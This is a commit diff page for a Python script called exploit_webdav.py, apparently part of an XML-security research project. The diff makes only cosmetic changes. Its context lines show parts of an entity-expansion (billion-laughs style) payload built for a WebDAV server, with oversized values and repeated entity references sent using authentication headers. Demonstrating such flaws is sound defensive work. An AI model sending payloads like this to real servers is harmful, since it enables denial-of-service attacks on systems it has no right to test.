summaryrefslogtreecommitdiff
path: root/other/exploit_webdav.py
diff options
context:
space:
mode:
Diffstat (limited to 'other/exploit_webdav.py')
-rwxr-xr-xother/exploit_webdav.py8
1 files changed, 3 insertions, 5 deletions
diff --git a/other/exploit_webdav.py b/other/exploit_webdav.py
index 3288c28..1035139 100755
--- a/other/exploit_webdav.py
+++ b/other/exploit_webdav.py
@@ -3,6 +3,8 @@
Author: Christian Heimes
"""
+from __future__ import print_function
+
import sys
import base64
import urlparse
@@ -28,11 +30,7 @@ xml = """<?xml version='1.0'?>
xml = xml.replace("VALUE", "a" * 30000)
xml = xml.replace("QUAD", "&a;" * 1000)
-headers = {
- "Content-Type": "text/xml",
- "Content-Length": len(xml),
- "Depth": 1,
- }
+headers = {"Content-Type": "text/xml", "Content-Length": len(xml), "Depth": 1}
if url.username:
auth = base64.b64encode(":".join((url.username, url.password)))